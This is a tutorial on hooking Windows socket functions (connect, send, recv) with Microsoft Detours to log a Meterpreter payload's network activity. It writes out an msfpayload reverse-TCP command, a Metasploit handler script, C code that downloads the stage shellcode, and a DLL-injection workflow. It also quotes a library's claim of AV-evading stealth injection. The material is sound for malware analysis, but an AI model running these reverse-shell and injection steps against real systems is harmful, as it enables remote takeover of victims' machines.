API Hooking with Microsoft Detours

Introduction

Microsoft Detours is a library which we can use to build our own DLL that serves as an API monitor when analyzing the results. The best thing about it is that it doesn't require other frameworks as a dependency. The downside is that only x86 support is available for free; if we want to get x64 support, we have to buy it. Detours intercepts Windows API function calls by rewriting the same function that is already stored in memory. It can also attach arbitrary DLLs to any win32 binary.

The first thing we must do is download and install the Detours package, which will be installed in the C:Program FilesMicrosoft ResearchDetours Express 3.0 directory.

After that we need to open the Visual Studio Command Prompt and execute vcvarsall.bat script. This can be shown in the picture below:

In the same command prompt, we need to change the directory to the Detours directory C:Program FilesMicrosoft ResearchDetours Express 3.0 and run the nmake command to build the Detours libraries, tools and samples. When the nmake is done compiling, Detours is finally installed. But we still need to tell the Visual Studio where to find Detours libraries when trying to use it in a project.

When creating a new project we need to access the Properties of each project and add paths to the Detours library. First we need to open Properties - Configuration Properties - C/C++ and properly configure the Additional Include Directories configuration variable. We should add a path to the C:Program FilesMicrosoft ResearchDetours Express 3.0include directory in there as can be seen in the picture below:

Additionally, we also need to put the C:Program FilesMicrosoft ResearchDetours Express 3.0lib directory under the Properties - Configuration Properties - Linker into the Additional Library Directories. This can be seen in the picture below:

image0

The project is now configured to be able to use Detours, but as we will later see, we will still need to copy some of the files to the project's source directory. Let's leave it at that for now.

We should also be aware of the fact that the Detours directory contains a Detours Help HTML file that contains the basic howto guide for Detours. This help page provides the following information:

Detours is most commonly used to intercept Win32 APIs calls within an application, such as to add debugging instrumentation. Interception code is applied dynamically at runtime. Detours replaces the first few instructions of the target function with an unconditional jump to the user-provided detour function. Instructions from the target function are placed in a trampoline. The address of the trampoline is placed in a target pointer. The detour function can either replace the target function or extend its semantics by invoking the target function as a subroutine through the target pointer to the trampoline.

The Detours library intercepts function calls at runtime, so we don't need to replace the DLLs with the new ones, but we're only modifying the memory of the process we would like to analyze.

The picture below is taken from the Detours help page and presents the difference between invoking the function without and with interception. On the first part of the picture we can see that we're calling the target function from the source function. In normal scenarios the source function calls the target function, which does something and then returns to the source function; there's nothing special there. But on the second part of the picture we can see what happens when we're intercepting the call to target function from the source function. In that case, the source function calls the detour function, which can do something and then return to the source function or call the trampoline function, which further calls the target function without interception. The target function then does something and returns control to the detour function that in turn passes control to the source function.

image1

We should be aware of the various techniques we can use to hook certain function. The techniques are the following:

  1. Overwriting the Address of a Function
  2. Modifying the Import Address Table (IAT)
  3. Using Proxy DLLs
  4. API Hooking through Drivers in Kernel Address Space

We won't go into to much detail about the techniques; the reader can use Google and read more about them on the Internet.

Meterpreter

In this example we'll use a reverse Meterpreter executable to gain total access over the computer. First we need to create the reverse Meterpreter executable, which we can do with the command below.

# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.133
LPORT=4444 X > meterpreter.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LPORT"=>"4444", "LHOST"=>"192.168.1.133"}

We used the msfpayload command and instructed it to use the windows/meterpreter/reverse_tcp payload to connect back to the IP 192.168.1.133 on port 4444. The output of the msfpayload command is a meterpreter.exe executable, which spawns a new Meterpreter shell when we run it (of course we must be listening for the Meterpreter connection on the IP address 192.168.1.133 on port 4444).

To open port 4444 on the 192.168.1.133 machine and listen for the incoming Meterpreter session, we need to create a new script meterpreter.rb with the following contents:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 0.0.0.0
set ExitOnSession false
exploit -j -z

We need to run the above script to actually open the required port on the required IP address. To do that, we can execute the command below:

# msfconsole4.2 -r /root/meterpreter.rb

If we run the meterpreter executable from the victim virtual machine now, it should successfully connect to the 192.168.1.133:4444.

The next step is figuring out which functions does the meterpreter.exe executable actually run to get the job done. To figure that out, we need to install Visual Studio Express and run the Visual Studio Command Prompt, which looks like the picture below:

image2

In the Visual Studio Command Prompt we can run a tool named dumpbin, which can display the imported and exported symbols of the executable. In this case we're interested in imported symbols of the executable, which will give us a reasonable overview of which functions the meterpreter.exe executable actually calls.

Below is the output of the "dumpbin /IMPORTS meterpreter.exe " command:

File Type: EXECUTABLE IMAGE

Section contains the following imports:

MSVCRT.dll
40C0C8 Import Address Table
40C8AC Import Name Table
0 time date stamp
0 Index of first forwarder reference

113 _iob
CA _except_handler3
81 __set_app_type
6F __p__fmode
6A __p__commode
9D _adjust_fdiv
83 __setusermatherr
10F _initterm
58 __getmainargs
64 __p___initenv
48 _XcptFilter
D3 _exit
186 _onexit
55 __dllonexit
2C3 strrchr
2E8 wcsncmp
B3 _close
2E6 wcslen
2E3 wcscpy
2BC strerror
29B modf
2C4 strspn
2A7 realloc
6D __p__environ
7A __p__wenviron
C8 _errno
25E free
2C0 strncmp
2C5 strstr
2C1 strncpy
F1 _ftol
2A4 qsort
257 fopen
29C perror
24C fclose
24F fflush
240 calloc
291 malloc
2AF signal
29E printf
115 _isctype
23D atoi
249 exit
61 __mb_cur_max
18E _pctype
2B7 strchr
258 fprintf
B7 _controlfp
1BF _strdup
1C5 _strnicmp

KERNEL32.dll
40C00C Import Address Table
40C7F0 Import Name Table
0 time date stamp
0 Index of first forwarder reference

287 PeekNamedPipe
2AB ReadFile
397 WriteFile
248 LoadLibraryA
198 GetProcAddress
1DF GetVersionExA
152 GetExitCodeProcess
351 TerminateProcess
247 LeaveCriticalSection
30B SetEvent
2B8 ReleaseMutex
8F EnterCriticalSection
7A DeleteCriticalSection
219 InitializeCriticalSection
5A CreateMutexA
15E GetFileType
31D SetLastError
EE FreeEnvironmentStringsW
14F GetEnvironmentStringsW
1F5 GlobalFree
109 GetCommandLineW
356 TlsAlloc
357 TlsFree
8C DuplicateHandle
13A GetCurrentProcess
31A SetHandleInformation
2E CloseHandle
1C0 GetSystemTimeAsFileTime
BC FileTimeToSystemTime
1D8 GetTimeZoneInformation
BB FileTimeToLocalFileTime
34E SystemTimeToFileTime
34F SystemTimeToTzSpecificLocalTime
349 Sleep
EA FormatMessageA
169 GetLastError
385 WaitForSingleObject
49 CreateEventA
32C SetStdHandle
310 SetFilePointer
4D CreateFileA
50 CreateFileW
18C GetOverlappedResult
83 DeviceIoControl
15A GetFileInformationByHandle
252 LocalFree

ADVAPI32.dll
40C000 Import Address Table
40C7E4 Import Name Table
0 time date stamp
0 Index of first forwarder reference

E1 FreeSid
1D AllocateAndInitializeSid

WSOCK32.dll
40C1A0 Import Address Table
40C984 Import Name Table
0 time date stamp
0 Index of first forwarder reference

Ordinal 7
Ordinal 4
Ordinal 9
Ordinal 52
Ordinal 14
Ordinal 12
Ordinal 21
Ordinal 23
Ordinal 3
Ordinal 18
Ordinal 10
Ordinal 151
Ordinal 115
Ordinal 116
Ordinal 111

WS2_32.dll
40C194 Import Address Table
40C978 Import Name Table
0 time date stamp
0 Index of first forwarder reference

34 WSARecv
39 WSASend

Summary

8000 .data
1000 .rdata
1000 .rsrc
B000 .text

We can see that the meterpreter.exe executable uses the following DLLs to do its job: MSVCRT.dll, KERNEL32.dll, ADVAPI32.dll, WSOCK32.dll and WS2_32.dll. Those DLL libraries contain the functions the meterpreter uses to download and execute the secondary shellcode from the 192.168.1.133:4444. The above output also presents all the functions being used in a specific DLL library.

In our example we'll try to hook the connect function and overload it, so that we'll save the IP address and PORT being used to some file on the filesystem. This way, we can always know exactly where the meterpreter.exe executable is connecting. First we need to locate the function which actually connects to the specified IP address 192.168.1.133 and port 4444 to determine which function we need to hook.

We know from experience that the meterpreter.exe executable should call the function connect in the ws2_32.dll library to connect to the target machine. But that function is not listed under the WS2_32.dll library, only the WSARecv and WSASend are listed. So, what is going on, why is the function not listed in the dumpbin output? To answer this question we must talk about static/dynamic execution and compile-time/run-time linking. This is because the operating system figures that out when running the meterpreter executable and it doesn't need to know in advance.

We can use PE Explorer to view the ws2_32.dll library. The export table of that library can be seen in the picture below. We can see the entry points, their ordinals and the names of the functions. We can see that the function connect uses the ordinal 4 and starts at address 0x71AB4A07. Therefore the Ordinal 4 entry from the dumpbin actually refers to the connect function.

image3

To check whether the meterpreter.exe executable actually uses the connect function to connect to the server, we can set a breakpoint on the address 0x71AB4A07, which is exactly the function's entry point. The picture below represents the whole connect function residing at the address 0x71AB4A07. We've loaded the meterpreter.exe executable with Immunity Debugger, went to the connect function, set a breakpoint and taken a screenshot. If we take a better look at the picture, we can see that the first line is colored with the bright blue color, which indicates the presence of a breakpoint being set.

image4| After that, we can run the meterpreter.exe executable and observe if the breakpoint is even hit. We can soon figure out that the breakpoint is indeed being hit and there is no communication before it. At the entry point of the connection function we can step through the function to figure out the exact call, which connects to the server. But at that point our research is over, since we can prove that it's the connect function which is being used to connect to the server.

In this section we have figured that we want to hook the connect function from the ws2_32.dll library. In that function we then want to open a file handler to some file on the filesystem and write the actual IP address and port being used. In our case this will be 192.168.1.133:4444.

Besides writing the IP address and port number being used by the socket in some file, we also want to continue executing the old connect function, so that the meterpreter.exe executable will actually spawn a Meterpreter session. If we don't continue with the execution, then only the IP address and port number the executable is supposed to connect to will be saved into some file on the filesystem, but the executable won't actually connect to the server and spawn a meterpreter shell. So we need to keep in mind that after saving the socket details into some file, we also want to continue the execution of the default connection function. In the next step we'll create the project, which will be used as the basis for hooking the connect function.

Creating a New Project

We should use Visual Studio to create a new Detours project. To do that we need to open Visual Studio Express and select File - New - Project and select Win32 Console Application. When creating a new project, the Visual Studio shall look as the picture below:

image5

We named the new project detours. When we click OK, we'll have to click through the wizard guide. Remember to select a DLL Application Type not the default Console Application. The configuration wizard must look like the picture below:

image6

When pressing the Finish button, the project will be created. There will be two header files named stdafx.h and targetver.h and three source files named: detours.cpp, dllmain.cpp and stdafx.cpp. The initial project will look like the picture below:

image7

After the creation of the project, we need to copy a certain file from the Detours installation directory to the current project. This file is detours.h, which needs to be present in the current project, since we must include it in the dllmain.cpp source file.

The dllmain.cpp is the main source file we'll be editing and is the file that will contain the source code of our DLL library. The current dllmain.cpp source file contains the code presented below:

// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

The dllmain.cpp defines the entry point for the DLL library we'll be using (it says in the comment at the top of the dllmain.cpp file). When the DllMain() function starts it decides what to do based on the reason for calling it. The DLL can be called for four reasons: when attaching a DLL, when attaching a thread, when detaching a thread and when detaching a process.

We need to create the prototype of the function we want to override. To do that we must create a prototype exactly as it can be found in the Microsoft MSDN on the msdn website. We must also create the detour function, which will be executed upon calling the hooked function. To do that, we must change the dllmain.cpp and configure the hooks to be installed when the process loads our DLL. It's also a good idea to configure the detachment of hooks to clean up after ourselves. We can configure the hooks with the DetourAttach and DetourDetech functions. The prototype of the DetourAttach function is as follows:

LONG DetourAttach(PVOID * ppPointer, PVOID pDetour );

The DetourAttach takes two parameters. The first parameter is a pointer to a pointer, which points to the hooked function. The second parameter is a pointer that will be called instead of the hooked function. The DetourAttach function actually hooks the function, so the pDetour function is executed instead of ppPointer function. Before we can call the DetourAttach function, we must first initiate the detouring with the code below:

DetourTransactionBegin()
DetourUpdateThread(GetCurrentThread())

This will initiate the detour transaction and update the current thread. After the detouring, we must also call the DetourTransactionCommit to commit the detour to the thread.

In our case we'll hook the connect function from ws2_32.dll. In this function we'll add the functionality that will save the IP and port of the target where it is connecting to before passing the control to the actual connect function. We must ensure that the detour function will have the same prototype as the original function. The prototype of the original function is as follows:

image8

Therefore the pointer to this function must look like what is presented in the code below:

int (WINAPI *dconnect)(SOCKET, const struct sockaddr*, int) =
connect;

What we're doing is setting the pointer with a name dconnect, which points to the function connect. We're using the WINAPI because the functions are using the __stdcall calling convention. We also need to provide the prototype of the function that will hook the connect function. The prototype of the function can be seen below:

int WINAPI myconnect(SOCKET s, const struct sockaddr *name, int
namelen);

Again, the myconnect function takes exactly the same parameters as the original connect function.

The attaching/detaching of the connect function is done in the DllMain function, which is represented in the code below. We already described what the code below means, so we won't do that again. Let's just say that when we're attaching the function, the DLL_PROCESS_ATTACH is run and when detaching the function the DLL_PROCESS_DETACH is being run.

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call,
LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)dconnect, myconnect);
DetourTransactionCommit();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)dconnect, myconnect);
DetourTransactionCommit();
break;
}
return TRUE;
}

In the code above we're declaring that when attaching a DLL to a process we need to first call the DetourTransactionBegin followed by the DetourUpdateThread. Then we're actually attaching our myconnect function to the dconnect pointer. Since the dconnect pointer is pointing at the connect function, we're effectively overwriting the address of the connect function. So whenever the connect function is called, the pointer will actually point to the myconnect function, which will be run instead of the original connect function. At the end we're calling DetourTransactionCommit to actually commit the previous detour calls to the current thread. We're doing the same in the DLL_PROCESS_DETACH, except that we're detaching the function instead of attaching it.

In the end we must also declare the dconnect function; right now all we have is the function prototype, but we also need to provide the code of the function to define what the function will be doing when being run. The myconnect function can look something like the code below:

int WINAPI myconnect(SOCKET s, const struct sockaddr *name, int
namelen) {
FILE *file;
fopen_s(&file, "C:meterpreter.txt", "a+");
SOCKADDR_IN* name_in = (SOCKADDR_IN*)name;
fprintf(file, "%s : %dn", inet_ntoa(name_in->sin_addr),
ntohs(name_in->sin_port));
fclose(file);
return dconnect(s, name, namelen);
}

In the code above we're initializing a new file handle named file of a type FILE and assigning a filename C:meterpreter.txt to it. The file open function call specifies that we would like to append to the file not overwrite it. After that we're overloading the type of the variable name from the sockaddr type to the sockaddr_in type. We can convert between those two structures interchangeably without the loss of information.

We're creating a new variabled named name_in, which is just a new representation of the same data, but has different members. We're doing that because we want to call the sin_addr member, which is present in the sockaddr_in but not in the sockaddr structure. The same goes for sin_port. The printf function prints the current IP address and port number to the file meterpreter.txt. We're using the inet_ntoa function to convert the sin_addr member of the sockaddr_in structure into a valid IP address that can be casted to a string. We're also using the ntohs function to convert the sin_port member of the sockaddr_in structure into a valid port number that can be safely printed to the log file. At the end of the function, we're calling the dconnect function which holds the address of the old connect function. That successfully calls the old connect function passing it the same arguments as the current function was called with.

To summarize: the myconnect function takes the same arguments as the original connect function. The function creates the file handle to a file C:meterpreter.log, where it writes the IP address and port number of the machine it connects to. The most important line of code is the return statements, which returns the execution back to the original function.

The whole code of the dllmain.cpp can be seen in the output below:

#include "stdafx.h"
#include "detours.h"
#include <cstdio>
#include <ws2tcpip.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "detours.lib")
#pragma comment(lib, "detoured.lib")
#pragma comment(lib, "ws2_32.lib")

int (WINAPI *dconnect)(SOCKET, const struct sockaddr*, int) =
connect;
int WINAPI myconnect(SOCKET s, const struct sockaddr *name, int
namelen);

INT APIENTRY DllMain(HMODULE hDLL, DWORD Reason, LPVOID Reserved)
{
switch(Reason)
{
case DLL_PROCESS_ATTACH:
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)dconnect, myconnect);
DetourTransactionCommit();
break;

case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

int WINAPI myconnect(SOCKET s, const struct sockaddr *name, int
namelen) {
FILE *file;
fopen_s(&file, "C:meterpreter.txt", "a+");
SOCKADDR_IN* name_in = (SOCKADDR_IN*)name;
fprintf(file, "%s : %dn", inet_ntoa(name_in->sin_addr),
ntohs(name_in->sin_port));
fclose(file);
return dconnect(s, name, namelen);
}

extern "C" __declspec(dllexport) void dummy(void){
return;
}

The above output presents the whole code used to overload the connect function of the ws2_32.dll library. If we want to create a similar hooking library, we can copy the code from one of the samples in the Detours samples/ directory. The most basic sample is the samples/simple/simple.cpp, which holds the basic code overwriting the Sleep function. We can of course copy the contents of simple.cpp to our dllmain.cpp and change its contents to hook some other function rather than Sleep. This is a particularly useful thing because we can start from the working example and continue changing the code until we're hooking the function that we want instead of creating the dllmain.cpp from scratch.

Using this technique we can save ourselves a lot of trouble and troubleshooting, but most importantly our nerves, because we won't have to debug every little thing trying to figure out why it doesn't work. If copying from the simple.cpp example to the dllmain.cpp, remember to change the name of the function back to DllMain and to also include the following code into the source code:

#pragma comment(lib, "detours.lib")
#pragma comment(lib, "detoured.lib")
#pragma comment(lib, "ws2_32.lib")

In our case it's important to also add the ws2_32.lib line because we're hooking a function from ws2_32.dll library. If we're not hooking a function from that library, than the last line is not needed. But the first two lines, specifying detours.lib and detoured.lib are very important and must be present.

When using Detours we also can't forget about the export table, which must contain at least one element even if it doesn't do anything: this is a stupid limitation of Detours, but we can't do anything about it. To create one dummy export entry we can include the code below into the dllmain.cpp source file:

extern "C" __declspec(dllexport) void dummy(void){
return;
}

This effectively creates a dummy export entry, but doesn't actually do anything, so it's not that important, just remember to include it.

Injecting the DLL into the Process

In the previous section we've created the DLL that will hook our connect function. But if we run the meterpreter.exe now, it won't load that DLL, but will load the standard DLLs in the path. We've already seen that it will load the following DLLs: MSVCRT.dll, KERNEL32.dll, ADVAPI32.dll, WSOCK32.dll and WS2_32.dll. When the operating system loads the executable, it searches the needed libraries in current directory first. If the required DLLs are not found there, it goes on to search in C:WINDOWSsystem32 directory and if it still hasn't found the required DLLs, it goes through the PATH environment variable and searches each listed folder for the required DLLs.

But our DLL that hooks the connect function won't be loaded, because it isn't listed as one of the dependencies of the meterpreter.exe executable. This is why we need to forcibly inject the DLL into the executable to hook the connect function to call the myconnect function from the DLL that in turn calls the original connect function actually connecting to the server.

The first thing to do when attempting to inject a DLL is to declare whether we want to inject it into a running process or if we want to create a new process. We won't describe how to do the first one, since we want to inject a DLL into a new process we'll be creating. We want to inject the DLL into the meterpreter.exe before any code from the meterpreter.exe executable is actually executed. To do that we need to create a new project in Visual Studio, which will serve as a new application that will inject the DLL into the executable prior to running the executable. We must create the Win32 Console Application again as can be seen in the picture below:

image9

We named the project injector because we'll be injecting the DLL into a valid executable when starting it. We should create a "Console Application" and not a DLL when asked by the wizard. We can see that step being presented in the picture below:

image10

After the creation of the project, we need to copy the detours.h and detours.lib files in the "Header Files" of the current project. In the "Source Files" there will be an injector.cpp source file with the contents shown below:

// injector.cpp : Defines the entry point for the console
application.
#include "stdafx.h"

int _tmain(int argc, _TCHAR* argv[])
{
return 0;
}

This is a basic console application that doesn't do anything, just returns zero, notifying the console that the application existed without an error. We need to copy from the DetoursInjector.cpp source code from the DetoursHooks.zip, which is accessible from the [2]. When building the project, a new executable injector.exe should be created, which takes the DLL to be injected as first argument and an executable to inject the DLL into as second argument. But there is a better way of doing this. We can simply download the DetoursHooks.zip and copy the DetoursInjector.exe to the virtual machine and run it. If we run it without arguments, it will print the help page, which looks like the output below:

>DetoursInjector.exe

Usage: DetoursInjector.exe <DLL> <PROCESS [ARGS]>

We can see that we can pass the DLL as the first argument and an executable as the second argument to the DetoursInjector.exe. The DetoursInjector.exe then injects the provided DLL into the executable process and runs the process. It does that by calling the DetourCreateProcessWithDll function that creates a new process with the specified DLL inserted into it.

Before trying to inject our DLL into the meterpreter, we'll first test the injection on a test program that will use the connect function to connect to some server. We'll do that because we want to check whether our DLL is actually working alright. To do that we must create another Win32 Console Application named sockettest and change the sockettest.cpp source file to execute at least one connect function call from ws2_32.dll library. In our case we'll be connecting to the existing Meterpreter handler running on IP address 192.168.1.133 in port 4444 for testing purposes. The meterpreter.exe executable actually does that, but we don't have the code and even if we did, it would be too complicated for our little example. Below is the code that we can use to connect to our server on the IP address 192.168.1.133 on port 4444 to download the secondary meterpreter shellcode.

// sockettest.cpp : Defines the entry point for the console
application.
//
#pragma comment(lib, "ws2_32.lib")

#include "stdafx.h"
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

int _tmain(int argc, _TCHAR* argv[]) {
WSADATA wsa;
SOCKET s;
struct sockaddr_in server;
char *message , server_reply[512];
int recv_size;
int ALL_BYTES = 752128;
int all_count = 0;

/* initialize socket */
printf("nInitialising Socket...");
if (WSAStartup(MAKEWORD(2,2),&wsa) != 0) {
printf("Failed. Error Code : %d",WSAGetLastError());
return 1;
}
printf("Initialised.n");

/* create new socket */
if((s = socket(AF_INET , SOCK_STREAM , 0 )) == INVALID_SOCKET) {
printf("Could not create socket : %d" , WSAGetLastError());
}
printf("Socket created.n");

/* specify IP+PORT */
server.sin_addr.s_addr = inet_addr("192.168.1.133");
server.sin_family = AF_INET;
server.sin_port = htons(4444);

/* connect to remote server */
if (connect(s , (struct sockaddr *)&server , sizeof(server)) < 0) {
puts("connect error");
return 1;
}
puts("Connected");

/* open the file to write to */
FILE *file;
fopen_s(&file, "C:smeterpreter.exe", "a+");
//fprintf(file, "%sn", "test");

/* receive a secondary shellcode until finished from the server */
do {
recv_size = recv(s , server_reply , 512 , 0);
fprintf(file, "%s", server_reply);
all_count += recv_size;
} while(all_count < ALL_BYTES);

/* close the file */
fclose(file);

printf("Reply received: the size of which is: %dn", all_count);

return 0;
}

The example above first initializes the socket with WSASocket, which is required when we use ws2_32.dll library. After the initialization it creates a new TCP socket and configures the IP address and PORT number to connect to. The IP address in our case is 192.168.1.133, while the PORT number is 4444. After that we're calling the connect function that we're interested in; this function actually connects to the server on port 4444. If the connection is successful we're reading everything the server has to sent to us and saving it into C:smeterpreter.exe file.

When the process is complete, the meterpreter.exe file will hold the secondary shellcode of the reverse Meterpreter shell. We could write a better do-while loop, but it works for our purposes; in our case we're reading from the socket until we reach a maximum of 752128 bytes read. This constant represents the total number of bytes the server has to sent to the victim. This is exactly the number of bytes constituting the secondary meterpreter shellcode. We can get this number if we connect to the IP address 192.168.1.133 on port 4444 with a telnet. The meterpreter handler on the server should say the following:

[*] Sending stage (752128 bytes) to 192.168.1.134

From the output above we can gather that the server has exactly 752128 bytes of data to send to the client.

We've written the source code for our test application and now we have to build it by using Debug - Built Solution to compile the example into the executable. After that we can test if our DLL is correctly hooking the connect function from ws2_32.dll library. To do that we can run the DetoursInjector.exe with the previously built DLL and current testing program. The actual command is presented below:

>DetoursInjector.exe detours.dll sockettest.exe
Initialising Socket...Initialised.
Socket created.
Connected
Reply received: the size of which is: 752132

There should be a new file C:smeterpreter.exe that holds the secondary Meterpreter shellcode that needs to be run to spawn a new session. Additionally, there should also be the C:meterpreter.txt file, which should contain the IP address and the port the executable connected to. The picture below presents the contents of that file, which are correct, which proves that our DLL is working:

image11

In the output above we can also see that the DetoursInjector.exe also printed the "initialising Socket", "Socket created", "connected" and "Reply received" from our example, which is a proof that our sockettest.exe is being executable successfully.

Testing the Hook DLL with Meterpreter

Our DLL worked when we used it as hooking library for the sockettest.exe that used the connect function from the ws2_32.dll library. But what about meterpreter.exe executable, will our DLL work there? We can find out by passing the meterpreter.exe executable together with our detours.dll to the DetoursInjector.exe program. The actual command it uses is presented below:

>DetoursInjector.exe detours.dll meterpreter.exe
Created process PID 2438!

We can immediately see that a new process was created when executing meterpreter.exe, which should happen. The new process is the meterpreter.exe with a hooked connect function. In the meterpreter handler on the server we can notice that the meterpreter.exe executable can actually connect to the server, download the secondary meterpreter shellcode and execute it spawning a new meterpreter session. This can be seen in the output of the meterpreter handler on the server when a client meterprete.exe executable connects to it. This can be seen in the output below:

msf exploit(handler) >
[*] Sending stage (752128 bytes) to 192.168.1.134
[*] Meterpreter session 4 opened (192.168.1.133:4444 ->
192.168.1.134:1603)

But because we've hooked the connect function with our DLL, the meterpreter.txt file should have a new entry. We can see the contents of the meterpreter.txt file in the picture below:

image12

And indeed it has a new entry. We can see that the IP address and the ports are the same, which is logical since we're connecting to the same server on the same port. We just proved that our DLL is working and can be used to hook the connect function of the meterpreter.exe executable. But we can go further than that; we can also hook the send/recv functions of the ws2_32.dll library with ease now.

We need to change the code in the dllmain.cpp into something like the code below:

#include "stdafx.h"
#include "detours.h"
#include <cstdio>
#include <ws2tcpip.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "detours.lib")
#pragma comment(lib, "detoured.lib")
#pragma comment(lib, "ws2_32.lib")

FILE *pSendLogFile;
FILE *pRecvLogFile;

/* send */
int (WINAPI *dsend)(SOCKET, const char*, int, int) = send;
int WINAPI mysend(SOCKET s, const char* buf, int len, int flags);

/* recv */
int (WINAPI *drecv)(SOCKET, char*, int, int) = recv;
int WINAPI myrecv(SOCKET s, char* buf, int len, int flags);

/* connect */
int (WINAPI *dconnect)(SOCKET, const struct sockaddr*, int) =
connect;
int WINAPI myconnect(SOCKET s, const struct sockaddr *name, int
namelen);

INT APIENTRY DllMain(HMODULE hDLL, DWORD Reason, LPVOID Reserved)
{
switch(Reason)
{
case DLL_PROCESS_ATTACH:
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)dconnect, myconnect);
DetourTransactionCommit();

DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)dsend, mysend);
DetourTransactionCommit();

DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)drecv, myrecv);
DetourTransactionCommit();
break;

case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

int WINAPI mysend(SOCKET s, const char* buf, int len, int flags) {
FILE *file;
fopen_s(&file, "C:meterpreter.txt", "a+");
fprintf(file, "Send: %sn", buf);
fclose(file);
return dsend(s, buf, len, flags);
}

int WINAPI myrecv(SOCKET s, char* buf, int len, int flags) {
FILE *file;
fopen_s(&file, "C:meterpreter.txt", "a+");
fprintf(file, "Recv: %sn", buf);
fclose(file);
return drecv(s, buf, len, flags);
}

int WINAPI myconnect(SOCKET s, const struct sockaddr *name, int
namelen) {
FILE *file;
fopen_s(&file, "C:meterpreter.txt", "a+");
SOCKADDR_IN* name_in = (SOCKADDR_IN*)name;
fprintf(file, "%s : %dn", inet_ntoa(name_in->sin_addr),
ntohs(name_in->sin_port));
fclose(file);
return dconnect(s, name, namelen);
}

extern "C" __declspec(dllexport) void dummy(void){
return;
}

What we're doing is hooking the connect, recv and send functions. Whenever the connect function is called the myconnect function will be called. Whenever the send function is called the mysend function will be called. Whenever the recv function is called, the myrecv function will be called. We've hooked all three functions and in all functions we're writing the contents of the buffer to the C:meterpreter.txt file. If we run the DetoursInjector.exe program again with the new DLL we will successfully spawn a new Meterpreter session, so the meterpreter.exe executable still works. This is why we haven't corrupted the DLL causing it to fail either sending or receiving of the data.

If we look at the C:meterpreter.txt file, we can see that the file actually contains the sent and received data which was flowing though the socket. We can see the contents of the meterpreter.txt file in the picture below:

image13

The picture above doesn't hold many recognizable characters, so we can be pretty sure that the actual content is indeed the secondary meterpreter shellcode.

Detours Alternatives

There are also alternative libraries we can use for hooking the function. Those libraries are the following:

  • EasyHook
  • madCodeHook
  • Mhook
  • WinAPIOverride32

EasyHook is an open-source alternative that can greatly simplify the hooking process. It also has an IRC support on the server irc.freenode.net on channel #easyhook, so we can get help from the community anytime we want. The following is a list of features taken from the [4]:

  • A so called "Thread Deadlock Barrier" will get rid of many core problems when hooking unknown APIs; this technology is unique to EasyHook
  • You can write managed hook handlers for unmanaged APIs
  • You can use all the convenience managed code provides, like NET Remoting, WPF and WCF for example
  • A documented, pure unmanaged hooking API
  • Support for 32- and 64-bit kernel mode hooking (also check out my PatchGuard 3 bypass driver which can be found in the release list)
  • No resource or memory leaks are left in the target
  • Experimental stealth injection mechanism that won't raise attention of any current AV Software
  • EasyHook32.dll and EasyHook64.dll are pure unmanaged modules and can be used without any NET framework installed!
  • All hooks are installed and automatically removed in a stable manner
  • Support for Windows Vista SP1 x64 and Windows Server 2008 SP1 x64 by utilizing totally undocumented APIs, to still allow hooking into any terminal session.
  • Managed/Unmanaged module stack trace inside a hook handler
  • Get calling managed/unmanaged module inside a hook handler
  • Create custom stack traces inside a hook handler
  • You will be able to write injection libraries and host processes compiled for AnyCPU, which will allow you to inject your code into 32- and 64-Bit processes from 64- and 32-Bit processes by using the very same assembly in all cases.
  • EasyHook supports RIP-relative addressing relocation for 64-Bit targets.
  • No unpacking/installation necessary.
  • The Visual Studio Redistributable is not required.

We can see that the EasyHook has quite a lot of features and may be a valuable product for research and API hooking.

Conclusion

In this article we first created the meterpreter.exe executable and figured out that the connect function from ws2_32.dll is being called when connecting to the server. After that we installed the Detours and configured Visual Studio to successfully use it. We used the DetoursInjector.exe to insert the DLL into the executable. That program uses the DetourCreateProcessWithDll function to create a new process inserting the DLL into it. We created the DLL, which hooked our connect, recv and send functions in ws2_32.dll library and executed the meterpreter.exe executable. We successfully hooked those functions and executed some additional call before those functions were actually called. Thus we have shown a way to actually write an epilog of the function, which gives us the means to execute some instructions right before calling the detoured function.

We should be aware of the fact that we hooked a single program, but there's also another way of doing it: we can hook certain functions of the whole system, so that our detoured function will be called whenever certain currently running program calls the hooked function. This can be useful in some cases, but in our case this was not needed. We can read more about that and the API hooking in general in the following article: [3].

References:

[1] API Hooking with MS Detours,accessible on http://www.codeproject.com/Articles/30140/API-Hooking-with-MS-Detours#DLLInject.

[2] Malware Cookbook, accessible on http://code.google.com/p/malwarecookbook/source/browse/trunk/9/8/DetoursHooks.zip.

[3] API hooking revealed, accessible on http://www.codeproject.com/Articles/2082/API-hooking-revealed.

[4] Easyhook, accessible on http://easyhook.codeplex.com/.

Comments